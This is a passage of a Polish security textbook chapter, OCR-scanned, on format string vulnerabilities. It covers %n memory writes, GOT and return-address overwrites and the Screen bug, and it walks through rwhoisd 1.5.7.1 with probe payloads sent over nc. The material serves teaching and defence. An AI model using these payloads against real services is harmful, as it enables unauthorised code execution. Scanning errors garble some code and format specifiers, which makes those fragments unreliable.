fikatora s wymusi na funkcji konstruujacej ciag wynikowy odczyt kolejnych bajtow
pamieci, od bajtu znajdujacego si¢ pod adresem podsunietym przez wlamywacza az do
pierwszego bajtu zerowego.

Mozliwo$é odczytu dowolnego obszaru pamigci jest dla hakeréw bardzo atrakcyjna.
Atak tego rodzaju moze by¢ taczony z innymi technikami wtamaniowymi; zostanie
szczegdtowo omowiony w dalszej czgsci rozdziatu oraz zastosowany w konkretnym
przyktadzie demonstrowanym pod koniec rozdziatu.

Zapis do pamieci

W tresci rozdziatu juz kilkakrotnie pojawita si¢ wzmianka o specyfikatorze %n. Zada-
niem tego specyfikatora jest oznaczanie dtugosci konstruowanego ciagu w czasie dzia-
fania programu. Zmienna korespondujaca z tym specyfikatorem jest adres. Kiedy funkcja
montujaca ciag napotyka w ciagu formatujacym specyfikator %n, pod adresem przeka-
zanym jako parametr korespondujacy z tym specyfikatorem zapisywana jest liczba zna-
kéw skladajacych sie na dotychczasowq postac ciagu wynikowego.

Obecno$¢ takiego specyfikatora ma powazny wplyw na bezpieczenstwo, umozliwia on
bowiem modyfikacje pamieci programu. Ta cecha specyfikatora %n jest kluczowa dla
powodzenia atakéw wykorzystujacych ciagi formatujace i umozliwia wykonanie na kom-
puterze-ofierze dowolnego kodu.
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Metoda pojedynczego zapisu

Pierwsza z omawianych tu metod wykorzystania ciagéw formatujacych bedzie metoda
zwigkszenia uprawnien atakujacego za posrednictwem pojedynczego zapisu pamigci
z uzyciem specyfikatora %n.

W niektérych programach wartosci krytyczne dla dziatania aplikacji, takie jak identyfi-
kator uzytkownika i identyfikator grupy procesu przechowywane sa w pamigci proce-
su, co ma zwykle na celu obnizenie uprawnien programu w czasie dziatania. Za pomoca
odpowiednio spreparowanych ciagéw formatujacych wtamywacz moze zmodyfikowac te
warto$ci.

Przyktadem programu obarczonego taka staboscig jest narze¢dzie o nazwie Screen. Screen
to popularny program uniksowy, umozliwiajacy wspotuzytkowanie pojedynczego pseu-
doterminala przez kilka procesow. Jezeli program zostanie zainstalowany jako tzw.
setuid root, uprawnienia uzytkownika wywolujacego program przechowywane sa w jed-
nej ze zmiennych programu. Kiedy tworzone jest okno, proces macierzysty programu
Screen obniza przywileje wykonawcze do poziomu warto$ci przechowywanych w zmien-
nych proceséw potomnych (procesu powtoki uzytkownika i tym podobnych).

Wersje programu Screen poprzedzajace wersje 3.9.5 zawieraly potencjalny blad ciagu
formatujacego, ujawniajacy si¢ podczas wyswietlania na ekranie ciagu definiowanej przez
uzytkownika zmiennej okreslajacej wizualny sygnat dzwonka (ang. visual bell). Ciag ten,
definiowany w pliku konfiguracyjnym .screenrc uzytkownika jest wyswietlany na ter-
minalu uzytkownika jako interpretacja jednego z niedrukowalnych symboli zestawu
ASCII. Kiedy symbol ten ma pojawi¢ si¢ na ekranie, okreslony przez uzytkownika
w pliku konfiguracyjnym ciag jest przekazywany do funkcji printf() jako czgsé cia-
gu formatujacego.

Ze wzgledu na struktur¢ programu Screen luka ta mogtla zosta¢ wykorzystana przy
uzyciu ciagu zawierajacego pojedynczy specyfikator #n. Bez wstrzykiwania do progra-
mu wlasnego kodu i obliczania adresow skokow. Caly atak polega na nadpisaniu prze-
chowywanego przez program identyfikatora UID wybrang przez atakujacego wartoscia,
np. zerem (zero to identyfikator uzytkownika root).

Aby tego dokonac, atakujacy musiat umiescic¢ adres identyfikatora UID w pamigci tak,
aby zostal on potraktowany jako parametr wywotania funkcji printf(). Nastgpnie wia-
mywacz musial utworzy¢ ciag wprowadzajacy specyfikator #n na odpowiednia pozycje
stosu. Mogt przesuna¢ docelowy adres o 2 bajty i w ten sposob wyzerowac identyfi-
kator uzytkownika dwoma najstarszymi bajtami wartosci %n. Przy nastgpnym utwo-
rzeniu okna przez wtamywacza, proces macierzysty Screen ustawiat uprawnienia pro-
cesu potomnego zgodnie z nadpisana wartoscig UID.

Lokalny wlamywacz wykorzystujacy btad ciagu formatujacego mogt wigc rozszerzy¢
swoje uprawnienia w systemie do poziomu uprawnien uzytkownika administracyjnego.
Luka w programie Screen jest znakomitym przyktadem ilustrujacym jak tatwo udaje
si¢ niekiedy przeprowadzi¢ zadziwiajaco skuteczne ataki wykorzystujace ciag formatuja-
cy. Opisana metoda ma jeszcze t¢ zalete, ze jest w duzej mierze niezalezna od platformy.
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Metoda wielokrotnego zapisu

Zajmiemy si¢ teraz wielokrotnymi zapisami w pamigci atakowanego procesu. Jest to
technika nieco bardziej skomplikowana, dajaca za to ciekawsze rezultaty. Odpowiednie
wykorzystanie ciagu formatujacego moze bowiem doprowadzi¢ do modyfikacji dowol-
nego obszaru pamigci. Aby przyblizy¢ t¢ metode Czytelnikowi, najpierw doktadnie omo-
wie dziatanie specyfikatora %n i modyfikacje, jakie mozna za jego posrednictwem wpro-
wadzi¢ do pamigci procesu.

Powtorzmy wigc: zadaniem specyfikatora formatu %n jest wyswietlenie liczby znakow
wstawionych do tej pory do ciagu wynikowego. Atakujacemu najczesciej jednak trudno
umiesci¢ tam liczbe na tyle duza, aby mogla by¢ potraktowana jako poprawny adres
pamigci (na przyktad wskaznik wstrzyknigtego kodu). Dlatego nie jest mozliwe utwo-
rzenie takiej wartosci przy uzyciu pojedynczego elementu %n. Rozwigzaniem jest za-
stosowanie kilku elementéw i zapisanie za ich posrednictwem w pamigci zadanego
adresu. Za pomocg tej techniki haker moze zapisaé¢ niemal dowolna warto$¢ w postaci
kolejnych bajtéw. W ten sposob moze sprowokowaé wykonanie przez atakowany pro-
ces dowolnego kodu.

Przebieg atakow z uzyciem ciggow formatujacych

W tym punkcie omdowiony zostanie sposob, w jaki mozna przeprowadzi¢ atak wyko-
rzystujacy ciag formatujacy do nadpisania w pamigci procesu takich wartosci jak ad-
res pamieci. Sposob ten pozwala wltamywaczowi wykonaé w przestrzeni procesu-ofiary
dowolny kod.

Czytelnik juz wie, ze kiedy funkcja konstruujaca sformatowany ciag wynikowy napotka
w ciagu formatujacym specyfikator %n, zapisuje do pamieci pewng liczbe catkowita.
Adres, pod ktorym dokonywany jest zapis powinien znajdowaé si¢ na stosie funkcji
printf(), gdzie ,,spodziewa si¢” ona parametru odpowiadajacego temu specyfikatorowi.
Atakujacy musi w jaki$ sposdb umiesci¢ pozadany adres na stosie i umiesci¢ w od-
powiednim miejscu ciagu formatujacego element 4n. Czasem moze tego dokonac za
posrednictwem zmiennych lokalnych funkcji, kiedy dane pobierane od uzytkownika
umieszczane sg na stosie funkcji.

Zwykle istnieje jednak mniej skomplikowany sposdb okreslenia adresu docelowego
wpisu. W wigkszosci podatnych programoéw pobrany od uzytkownika ciag formatuja-
cy przekazywany do funkcji printf() umieszczany jest w zmiennej lokalnej utworzonej
na stosie. Zaktadajac, ze funkcja nie alokuje zbyt duzej liczby zmiennych lokalnych,
mozemy si¢ spodziewaé, ze pobrany od uzytkownika ciag formatujacy przechowywa-
ny jest niedaleko ramki stosu utworzonej do wywotania funkcji printf(). Atakujacy
moze wymusic¢ na funkcji wykorzystanie adresu zgodnego z wlasnymi planami przez
umieszczenie specyfikatora n w odpowiednim miejscu ciagu formatujacego.

Wiamywacz ma wplyw na lokalizacje, spod ktorej funkcja printf() odczytuje zmienna
wskaznikowa korespondujaca z elementem %n. MozZe mianowicie umieszcza¢ w ciagu
formatujacym specyfikatory %x lub %p, co powoduje swego rodzaju ,,zjadanie” kolejnych
obszardéw stosu przez funkcje printf() az do momentu osiagnigcia adresu osadzonego
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na stosie przez atakujacego. Zaktadajac, ze dane pobierane od uzytkownika przekazy-
wane dalej jako ciag formatujacy nie sg obcinane, atakujacy moze sprowokowac odczyt
przez funkcje printf() znacznych obszaréw stosu, az dotrze ona do wartosci zgodnych
z jego zamierzeniami lub przez niego tam umieszczonych. Wtedy w ciggu umieszczany
jest element %n, powodujacy zapis pewnej liczby pod podsunigtym adresem.

Adresy osadzane w samym ciggu formatujgcym nie moga zawieraé bajtéw zerowych,
sg one bowiem zwyktymi ciggami znakowymi i pierwszy bajt zerowy sygnalizuje ko-
niec takiego ciggu. Nie oznacza to, ze w atakach tego rodzaju nie moga by¢ w ogéle
stosowane adresy zawierajgce zerowe bajty — muszag byé one jedynie umieszczo-
ne na stosie poza ciggiem formatujgcym, w innych zmiennych lokalnych. Tylko w ten
spos6b atakujgcy ma mozliwoS¢ wykorzystania w ataku z uzyciem ciggu formatu-
jacego adresow z bajtami zerowymi.

Przyktad: wlamywacz planujacy wykorzystanie jako adresu docelowego specyfikatora
#n wartosci sktadowanej 32 bajty od adresu, spod ktorego funkcja printf() odczytuje
pierwszy parametr wywolania, moze umiesci¢ w ciagu formatujacym 8 specyfikato-
row %x. Elementy %x powoduja umieszczenie w ciagu wynikowym szesnastkowej re-
prezentacji wartosci czterobajtowego stowa (w przypadku 32-bitowych procesorow
Intela). Kazde wystapienie elementu %x w ciagu formatujacym powoduje wigc odczyta-
nie przez funkcje printf() wartosci lezacej na stosie nizej o 4 bajty od poprzedniej.
Atakujacy moze oczywiscie rowniez wykorzysta¢ inne specyfikatory i zmusi¢ funkcje
konstruujaca ciag do zagtebiania si¢ w dot stosu w poszukiwaniu zmiennej korespon-
dujacej z elementem n.

Konstruowanie wartosci

Atakujacy moze tez manipulowaé wartoscia, ktora ma by¢ zapisana pod docelowym ad-
resem pamieci. Aby zwiekszy¢ liczbg znakow, z ktorych sktada si¢ wynikowy ciag kon-
struowany przez printf(), mozna stosowaé specyfikatory wypelniajace:

int main()

{
// test.c

printf("poczatek: %101 koniec\n", 10);
}

W powyzszym przyktadzie element %101 wstawiony do ciggu formatujacego to specyfi-
kator formatu z okre$leniem wypelnienia. Wypehienie to sygnalizuje funkcji printf(),
ze reprezentacja liczby catkowitej w ciagu wynikowym ma zajmowac 10 znakow.

[dma@victim server]$ ./test
poczatek: 10 koniec

Dziesigtna reprezentacja liczby 10 nie wymaga oczywiscie az dziesigciu znakow, dlate-
go reszta wypehienia to znaki spacji. Ta wlasciwos¢ funkcji printf() moze zostaé
wykorzystana przez atakujacego do regulowania wartosci zapisywanej przez specyfi-
kator %n bez potrzeby konstruowania bardzo dtugich ciagéw formatujacych. Wartosci
zapisywane w pamigci procesu sg zwykle niewielkie i moga by¢ z powodzeniem regu-
lowane wtasnie specyfikatorami z wypetieniem.
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Rysunek 9.1. [ victim - SecureCRT =] E3
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Stosujac wielokrotne zapisy za posrednictwem elementow %n atakujacy moga wykorzy-
sta¢ mlodszy bajt zapisywanej wartosci i z kilku takich bajtéw skonstruowac wigksze
stowo. W taki sposob mozliwa jest konstrukcja wartosci catego stowa maszynowego,
takiego jak adres, przy uzyciu stosunkowo niewielkich liczb zapisywanych w wyniki
przetwarzania specyfikatora %n. Atakujacy musi wtedy podsuna¢ adres kazdego zapi-
su przesunigty wzgledem poprzedniego o jeden bajt.

Wykorzystujac cztery elementy %n i podsuwajac 4 adresy, atakujacy konstruuje docelo-
wa warto$¢ z najmtodszych bitow zapisywanych wartosci (patrz rysunek 9.1).
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10 At

Forintf .o =
Feady Telnet 36, 7 36 Rows, 81 Colz  (WT100
4

Na niektorych platformach sprzgtowych (np. w pewnych systemach RISC) zapisy do
pamigci pod adresami nie wyrdwnane do dwoch bajtéw sa niemozliwe. Utrudnienie to
mozna niejednokrotnie wyeliminowaé przez zastosowanie specyfikatorow powoduja-
cych zapis krotkiej liczby catkowitej (ang. short integer), takich jak %hn.

Konstruowanie dowolnych wartosci przy uzyciu kolejnych zapiséw jest najtrudniej-
sza metoda ataku, dajaca jednak atakujacemu mozliwos¢ przejecia pelnej kontroli nad
przebiegiem procesu. Umozliwia bowiem nadpisanie wskaznikow do instrukcji wskaz-
nikami do podsunigtego przez atakujacego kodu. Jezeli atakujacy wykorzysta w ten
sposob ciag formatujacy, przeptyw sterowania programu moze zostaé zmieniony tak,
aby wykonaniu ulegt podsunigty kod.
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Co nadpisywaé

Dysponujac mozliwoscia konstruowania dowolnej warto§ci w niemal dowolnym miej-
scu pamieci, musimy zadaé sobie pytanie ,,co (jaki adres) powinno zosta¢ nadpisane”?
Majac do dyspozycji niemal kazdy adres, haker dysponuje wieloma mozliwo$ciami.
Moze on na przyktad nadpisaé adres powrotny funkcji sktadowany na stosie — wtedy
taki atak ma efekt podobny do ataku przepehiajacego bufor. Nadpisanie adresu po-
wrotnego funkcji moze bowiem doprowadzi¢ do wykonania odsunigtego przez wia-
mywacza kodu. Jednak w przeciwienstwie do atakéw przepehiajacych bufor, mozliwosci
wlamywacza korzystajacego z ciagéw formatujacych nie ograniczaja si¢ do nadpisywania
adres6w powrotnych.

Nadpisanie adresu powrotnego

Wigkszo$¢ atakdw przepetniajacych bufor i opierajacych si¢ na charakterystyce dzia-
fania stosu wymaga od atakujacego zastapienia adresu powrotnego funkcji przecho-
wywanego w okreslonym obszarze stosu innym wskaznikiem instrukcji. Kiedy funkcja,
w ten sposob znieksztatcona, koniczy swoje dziatanie i podejmuje probe przekazania
sterowania z powrotem do kodu, z ktérego zostata wywotana, wykonywany jest skok
pod zamieniony adres. W atakach przepehiajacych bufor atakujacy nadpisuje adres po-
wrotny funkcji dlatego, ze z racji budowy stosu nie ma innych mozliwosci. Atakujacy
nie moze dowolnie wybra¢ obszaru, ktdry zostanie nadpisany, poniewaz ma wpltyw
jedynie na dane znajdujace si¢ w bezposrednim sasiedztwie przepetnionego bufora. Ataki
wykorzystujace ciagi formatujace tym si¢ r6znig od atakow przepelnienia bufora, ze
umozliwiaja wykonanie zapisu pod teoretycznie dowolnym adresem, okreslonym war-
toscia obszaru pamigci korespondujacego ze specyfikatorem %n. Atakujacy moze wiec
nadpisaé adres powrotny funkcji przez jawne podanie jego lokalizacji. Kiedy funkcja
powraca, procesor rozpocznie wykonywanie kodu od instrukcji znajdujacych si¢ pod
wskazanym przez wlamywacza adresem.

Haker nadpisujacy adres powrotny funkcji moze stanaé w obliczu dwéch problemow.
Pierwszym z nich jest sytuacja, w ktdrej funkcja po prostu nie wraca. W przypadku luk
zwiazanych z ciaggami formatujacymi jest to przypadek dos¢ czesty, poniewaz wyste-
puja one powszechnie w funkcjach informujacych o btedach. Funkcja taka moze na
przyktad wypisa¢ na wyjsciu komunikat (nawet skonstruowany na podstawie otrzy-
manego od uzytkownika ciagu formatujacego) i zakonczy¢ dziatanie procesu za po-
$rednictwem funkcji exit(). W takim przypadku nadpisanie adresu powrotnego jakiej-
kolwiek funkcji poza funkcjg printf() nie da zadnego rezultatu. Drugim problemem jest
to, ze nadpisanie adresu powrotnego moze zosta¢ wykryte przez mechanizm ochrony
pamigci stosu, taki jak StackGuard.

Nadpisanie wpisow globalnej tablicy przesunieé
i innych wskaznikow funkcji

Globalna tablica przesunie¢ (GOT, od ang. global offset table) to fragment pliku binar-
nego w formacie ELF zawierajacy wskazniki do funkcji bibliotecznych importowa-
nych przez program. Atakujacy moze nadpisaé¢ wpisy tablicy GOT wtasnymi wskazni-
kami, wskazujacymi na instrukcje podsunietego kodu, ktdéry zostanie wykonany w wyniku
wywotania odpowiedniej funkcji biblioteczne;j.
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Nie wszystkie pliki binarne podlegajace atakom zapisywane sa w formacie ELF. Wia-
mywaczom zostaja wtedy zwyczajne wskazniki funkcji, bedace zreszta tatwym celem.
Wskazniki funkcji sa zmiennymi tworzonymi przez programistg; ich obecnos¢ w pro-
gramie warunkuje powodzenie ataku. Funkcja musi zosta¢ wywolana za posrednictwem
wskaznika — tylko wtedy moze zosta¢ wykonany podsunigty przez atakujacego kod.

Analiza podatnego programu

Czas na podjecie decyzji co do programu, ktdry w dalszej czesci rozdziatu bedzie stuzyt
za przyklad wykorzystania luki ciagu formatujacego. Luka ta powinna dawa¢ mozliwosé
zdalnego jej wykorzystania. Scenariusz, w ktorym penetracji systemu komputerowe-
go dopuszcza si¢ haker nie majacy zadnego upowaznienia i teoretycznie od niego od-
cigty jest najlepsza ilustracja zagrozen wynikajacych z istnienia tego rodzaju luk. Da-
lej, luka powinna znajdowaé si¢ w rzeczywistym programie, najlepiej takim, ktdrego
autorem jest znany i powazany programista; uswiadomi to Czytelnikom, ze tego rodzaju
bledy moga znajdowac si¢ rowniez w oprogramowaniu pozornie pewnym i poprawnym.
Przyktad powinien ponadto posiada¢ kilka cech dajacych sposobnos¢ do omowienia
rozmaitych aspektéw bledow zwigzanych z ciagami formatujacymi, takich jak np.
problem wyswietlania sformatowanego ciagu.

Zdecydowatem si¢ zaprezentowac luke na przyktadzie programu Rwhoisd. Rwhoisd czy
tez demon RWHOIS jest implementacjg ustugi RWHOIS. Projektem serwera ustugi
RWHOIS zajmuje si¢ obecnie dziat badawczy i rozwojowy Network Solutions; serwer
ten zostal udostgpniony szerokiej publicznosci na podstawie Powszechnej Licencji
Publicznej GNU.

Klasyczny btad umozliwiajacy przeprowadzenie ataku wykorzystujacego ciag formatu-
jacy zostal wykryty w rwhoisd w wersji 1.5.7.1 1 wczesniejszych. Blad ten umozliwia
nieautoryzowanym klientom ustugi, ktorzy nawiazali potaczenie z ustuga wykonanie
dowolnego kodu. Pierwszy opis tej luki ujrzat $wiatlo dzienne jako wiadomos$é prze-
stana na list¢ dystrybucyjna Bugtraq (wiadomos¢ ta zostata zarchiwizowana pod adre-
sem www.securityfocus.com/archive/1/222756).

Aby zrozumie¢ istote luki wystepujacej w demonie rwhoisd nalezy zapoznac si¢ z jego
kodem zrédtowym. Analizie poddany zostanie kod zrodlowy wersji 1.5.7.1. W czasie pi-
sania tej ksiazki kod ten byt dostepny w sieci WWW pod adresem www.rwhois.net/fip.

Blad ujawnia sig, kiedy program w odpowiedzi na przekazanie przez uzytkownika
niepoprawnego parametru polecenia -s0a ma wypisa¢ na wyjsciu komunikat o bledzie.

Komunikaty o btedach sg przez serwer konstruowane i wypisywane za pomoca funk-
cji o nazwie print_error(). Funkcja ta jest wykorzystywana w catym kodzie Zrédto-
wym do obshugi sytuacji awaryjnych i do informowania o nich aplikacji klienta i same-
go uzytkownika. Funkcja przyjmuje kilka parametrow: liczbe calkowita okreslajaca
numer bledu, ciag formatujacy oraz zmienng liczbg parametrow odpowiadajacych spe-
cyfikatorom formatujacym okreslonym w ciagu.
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Wiesci z podziemia...

Najgrozniejsze btedy zwiazane z ciagami formatujacymi

Poza btedng obstuga polecenia SITE EXEC serwera WU-FTPD wykryto kilka innych
zastugujacych na wzmianke luk. Niektére z nich wykorzystane zostaty w robakach in-
ternetowych i narzedziach masowego wtamywania i daty efekt w postaci skutecznych
witaman do tysiecy weztéw internetowych.

IRIX Telnetd — odpowiednio spreparowane dane pobrane od klienta przekazy-
wane jako cigg formatujacy do funkcji syslog() umozliwiaty hakerom zdalne wy-
konanie dowolnego kodu bez koniecznosci przechodzenia jakichkolwiek procedur
uwierzytelniajgcych. Luka zostata wykryta przez grupe Last Stage of Delirium
(patrz www.securityfocus.com/bid/1572).

Linux rpc.statd — wykryta w tym programie luka réwniez zwigzana byta z nie-
prawidtowym zastosowaniem funkcji syslog() i takze umozliwiata zdalne uzyska-
nie uprawnieri administracyjnych. Luke wykryt Daniel Jacobowitz i opublikowat ja
16 czerwca 2000 roku jako wiadomoS¢ przestang na liste Bugtrag (patrz
www.securityfocus.com/bid/1480).

Cfingerd — kolejna luka wynikajgca z nieprawidtowego zastosowania wywotania
syslog(), odkryta przez Megyera Laszlo. Jej wykorzystanie mogto doprowadzi¢ do
przejecia przez zdalnego wtamywacza kontroli nad atakowanym weztem (patrz
www.securityfocus.com/bid/2576).

Implementacja modutu locale w bibliotece Libc — Jouko Pynndnen oraz zesp6t
Core SDI niezaleznie od siebie ogtosili wykrycie luki zwigzanej z ciggiem formatu-
jacym w implementacji biblioteki C wchodzacej w sktad kilku systeméw unikso-
wych. Luka umozliwiata atakujagcemu lokalne przejecie rozszerzonych uprawnien
przez ataki na programy setuid (patrz www.securityfocus.com/bid/1634).

Implementacje rpc.ttdbserverd w systemach CDE — ISS X-Force poinformowat
0 wykryciu luki zwigzanej z niewtasciwym zastosowaniem funkgji syslog() w wersjach
serwera bazy danych o nazwie ToolTalk wchodzacego w sktad kilku systeméw ope-
racyjnych wyposazonych w CDE. Luka ta umozliwiata zdalnym, nieuwierzytelnionym
hakerom wykonanie dowolnego kodu na zaatakowanym komputerze (patrz www.
securityfocus.com/bid/3382).

Kod zrodtowy tej funkcji zdefiniowany jest w pliku zrédtowym common/client_msgs.c
(podana $ciezka to Sciezka wzgledna wobec katalogu gtéwnego kodu, czyli katalogu,
do ktorego rozpakowano kod zrodtowy wersji 1.5.7.1 programu).

/* prints to stdout the error messages. Format: %error #Hf message text, where #H
follows rfc 640 */
void
print_error(va_list)
va_dc]

{

va_list list;

int i;
int err_no;
char *format;

if (printed error_flag)
{

return;

}

va_start(list);
err_no = va_arg(list, int);
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for (i =0; i < N_ERRS; i++)

if (errs[i].err_no == err.no)

{
printf("%%error #s", errs[il.msg);
break;

}
}

format = va_arg(list, char*);
if (*format)

{
printf(": ");

}
vprintf(format, list);

va_end(Tist);

printf("\n");

printed error_flag = TRUE;
}

Wytluszczony wiersz sygnalizuje ten fragment kodu, w ktérym parametry przekazane
do funkcji print_error() przekazywane sa do funkcji vprintf(). Luka tkwi nie w tej
konkretnej funkcji, ale w jej nieprawidlowym wykorzystaniu w innych fragmentach
kodu zrédtowego. Programista tej funkcji zaktada, ze funkcja ja wywolujaca przekaze
poprawny ciag formatujacy i wszystkie potrzebne do konstrukcji ciagu parametry.

Pelny kod tej funkcji zamieszczono w tym miejscu, poniewaz jest ona §wietnym przy-
ktadem prowokowania sytuacji, ktére moga zaowocowaé atakiem wykorzystujacym
ciag formatujacy. Wiele programéw wyposazanych jest w bardzo podobne funkcje.
Stuza one jako otoczki (ang. wrapper) wyswietlajace komunikaty o btedach i wzorowa-
ne sg na funkcji syslog(); przyjmuja jako parametry numer bledu i parametry shuzace
do konstrukcji komunikatu. Problem (zgodnie z tym, co napisano na poczatku roz-
dziatu) polega na tym, ze programisci czesto zapominaja o przekazaniu do takiej funkcji
ciagu formatujacego.

Nalezatoby teraz przeanalizowaé zdarzenia towarzyszace nawiazaniu potaczenia z ushu-
ga przez klienta i probie przekazania za posrednictwem funkcji print_error() ciagu
formatujacego do funkcji printf().

Dla Czytelnikoéw dysponujacych kodem programu — odpowiedni fragment kodu znaj-
duje si¢ w pliku zrodtowym server/soa.c. Funkcja, w ktérej zdefiniowano interesujacy
nas kod nosi nazwe soa_parse_args(). Reszta kodu zostata z wydruku usunigta — dla
wygody i zwigztosci przyktadu. Podatne na ataki wywotanie znajduje si¢ w 53. wierszu
pliku zrédtowego (na wydruku jest on wyttuszczony):

auth_area = find_auth_area by name(argv[il);
if (lauth_area)

{
print_error(INVALID AUTH_AREA, argv[il);

free_arg_list(argv);
d1_list_destroy(soa_arg);
return NULL;

}
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W powyzszym wywotaniu funkcji print_error() jako ciag formatujacy przekazywa-
ny jest parametr argv[i]. Ostatecznie ciag reprezentowany przez ten parametr zostaje
przekazany do funkcji vprintf() (na poprzednim wydruku). Dla kontrolera kodu zro-
dlowego taka konstrukcja powinna kojarzy¢ si¢ z potencjalng luka. Prawidtowe wy-
wolanie funkcji print_error() powinno mie¢ nastgpujaca postac:

print_error(INVALID_AUTH_AREA, "%s", argv[i]);

Tutaj zmienna argv[i] przekazywana jest do funkcji print_error() jako parametr kore-
spondujacy ze specyfikatorem %s ciagu formatujacego. Taka postaé wywotania eliminuje
mozliwo$¢ ztosliwego podstawienia w parametrze argv[i] ciagu interpretowanego
w funkcji vprintf() jako ciag formatujacy. Parametr argv[i] jest jednym z parametrow
dyrektywy -soa przekazanym do serwera przez klienta.

Podsumowujac, kiedy klient nawiazuje potaczenie z serwerem rwhoisd i wykonuje po-
lecenie -soa, w przypadku niepoprawnych wartosci parametréw polecenia wywotywana
jest funkcja print_error(), wypisujaca na standardowym wyjsciu programu komuni-
kat o btedzie. Procedura ta przebiega nastgpujaco:

1. Serwer rozpoznaje parametr -soa i wywotuje funkcje soa_directive() do obstugi
polecenia.

2. Funkcja soa_directive() przekazuje polecenie klienta do funkcji
soa_parse_args(), interpretujacej i kontrolujacej poprawnos¢ parametréw
polecenia.

3. Funkcja soa_parse args() wykrywa btad i przekazuje komunikat o btedzie
oraz ciag polecenia do funkcji print_error(). Ciag polecenia przekazywany
jest jako ciag formatujacy.

4. Funkcja print_error() przekazuje otrzymany od klienta ciag formatujacy
do funkcji vprintf() (patrz wydruk).

Wida¢ wyraznie, ze zdalny klient moze ztosliwie spreparowa¢ dane, ktore zostang prze-
kazane jako ciag formatujacy do funkcji vprintf(). Ciag zawierajacy te dane przeka-
zywany jest do serwera jako parametr dyrektywy -soa. Nawiazujac potaczenie z ustuga
i przesylajac szkodliwy ciag formatujacy, atakujacy moze przeforsowac zapis wlasnych
danych do pamigci procesu.

Testowanie wykorzystujace
przypadkowe ciggi formatujace

Po zlokalizowaniu w kodzie zrédtowym potencjalnych luk zwiazanych z ciagami for-
matujacymi nalezaloby podjaé probe ich wykorzystania i pokazac, ze jest ono mozli-
we w wyniku podawania spreparowanych ciagéw formatujacych i obserwacje reakcji
serwera.
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Jezeli program zawiera potencjalne bledy ciagéw formatujacych, mozna wykry¢ ich
obecnos¢ poprzez sprowokowanie pewnych zachowan programu, ktére beda wskazy-
wac na obecnos¢ takich luk. Jezeli podatny program wyswietla posta¢ wynikowa kon-
struowanych ciagdw, ich istnienie jest oczywiste. Jezeli natomiast podatny program nie
udostepnia sformatowanego ciagu, jego obecno$¢ moze by¢ sygnalizowana reakcjami
programu na niektore specyfikatory formatujace.

Jezeli po przekazaniu na wejscie programu ciggu %n%n proces zalamuje sig, jest praw-
dopodobne, ze zatamanie spowodowane zostato proba zapisu wartosci liczbowej pod
nieprawidlowym adresem odczytanym ze stosu. Na tej podstawie mozna identyfikowaé
podatne programy nawet jezeli nie wyswietlaja efektow konstrukcji ciagu — wystar-
czy przekazywac do nich pewne specyfikatory formatu. Jezeli proces zatamuje sig, albo
jezeli nie wypisuje niczego i sprawia wrazenie zawieszonego, mozna zaryzykowac twier-
dzenie, Ze jest podatny na ataki wykorzystujace ciag formatujacy.

Wroémy do przyktadu: serwer zwraca klientowi sformatowany, wynikowy ciag jako
jeden z elementéw odpowiedzi. Znacznie upraszcza to pracg wtamywacza szukajacego
sposobu na przeniknigcie do serwera. Ponizszy wydruk zawiera przyktadowy komunikat
serwera rwhoisd, ktorego tre$¢ wskazuje na istnienie w nim btedu ciagu formatujacego:

[dma@victim server]$ nc Tocalhost 4321

rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc V-1.5.7.1)
-soa jestem %i_podatny

#error 340 Invalid Authority Area: jestem -1073743563 podatny

W powyzszym przyktadzie nawiazanie polaczenia z ustuga i przestanie do niej specy-
fikatora formatu wewnatrz parametru podejrzanego o wystgpowanie w roli ciagu for-
matujacego spowodowato dotaczenie do odpowiedzi serwera ciggu —1073743563
w miejscu, gdzie w przekazanym ciagu znajdowal si¢ specyfikator %i. Wyswietlona
liczba ujemna jest po prostu dziesietng interpretacja 4 bajtéw pamieci stosu znajduja-
cych si¢ przypadkiem tam, gdzie funkcja printf() ,,spodziewata si¢” obecnosci pa-
rametru korespondujacego ze specyfikatorem %1. Jest to jawne potwierdzenie obecno-
$ci w kodzie serwera btedu ciggu formatujacego.

Po zidentyfikowaniu luki na podstawie zaré6wno analizy kodu zrédtowego, jak i odpo-
wiedzi serwera, trzeba si¢ zastanowi¢ nad mozliwoscia jej wykorzystania. Ta konkretna
luka nadaje si¢ do wykorzystania przez zdalnego klienta za posrednictwem sieci. Atak
nie wymaga przy tym przejscia procedury uwierzytelniajacej i prawdopodobnie moze
doprowadzi¢ do przejecia przez uzytkownika zdalnego kontroli nad komputerem ob-
stugujacym serwer.

W przypadkach takich jak ten (w ktérych program wyswietla sformatowany ciag wy-
nikowy) atakujacy ma mozliwo$¢ odczytania zawartosci pamigci stosu i zdobycia w ten
sposob dodatkowych informacji przydatnych w koncowym ataku. W prezentowany po-
nizej sposob atakujacy moze odczytywac cale stowa pamieci:

[dma@victim server]$ nc localhost 4321

rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc V-1.5.7.1)

-soa %010p

%error 340 Invalid Authority Area: Oxbffff935
-soa 4010p%010p
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Narzedzia i putapki...

Wiecej stosu, mniej ciggu formatujacego

Moze sie zdarzy¢, ze cigg formatujacy przechowywany na stosie lezy poza zasiegiem
funkgji printf(). Przyczyn takiego stanu rzeczy moze by¢ kilka, jednga z nich jest obciecie
ciggu wejsciowego (formatujgcego) do okreslonej dtugosci. Jezeli wejSciowy ciag for-
matujgcy zostanie na pewnym etapie wykonywania programu (przed przekazaniem go
do funkcji printf()) obciety do pewnego maksymalnego rozmiaru, liczba specyfikato-
row formatéw, ktére zostang wziete pod uwage bedzie ograniczona. Istnieje kilka sposo-
bow na obejscie takiego utrudnienia podczas konstruowania programu atakujgcego.

Caty problem polega wtedy na takim operowaniu specyfikatorami funkcji printf(),
aby odczytata ona jak najwiekszy blok pamieci przy zastosowania jak najkrotszego
ciggu formatujacego. Mozna w tym celu postuzy¢ sie jedng z ponizszych technik:

¢ Skorzystaé z wiekszych typow danych — pierwszym i najbardziej oczywistym
rozwigzaniem jest zastosowanie specyfikatoréw formatujgcych kojarzonych
z ,szerszymi” typami danych; jednym z takich specyfikatoréw jest %111,
interpretowany ze zmienna typu Tong Tong integer. W 32-bitowych architekturach
Intel funkcja printf() wstawi w miejsce kazdego takiego specyfikatora 8 bajtow
obszaru stosu. Mozliwe jest rowniez wstawienie do ciggu wynikowego zmiennej
typu Tong float lub double Tong float, cho¢ dane przechowywane na stosie moga
nie nadawac sie do interpretacji zmiennoprzecinkowej, co moze spowodowaé
zatamanie procesu.

¢ Skorzystac z kwalifikatorow diugosci ciagu wyjsciowego — niektére wersje
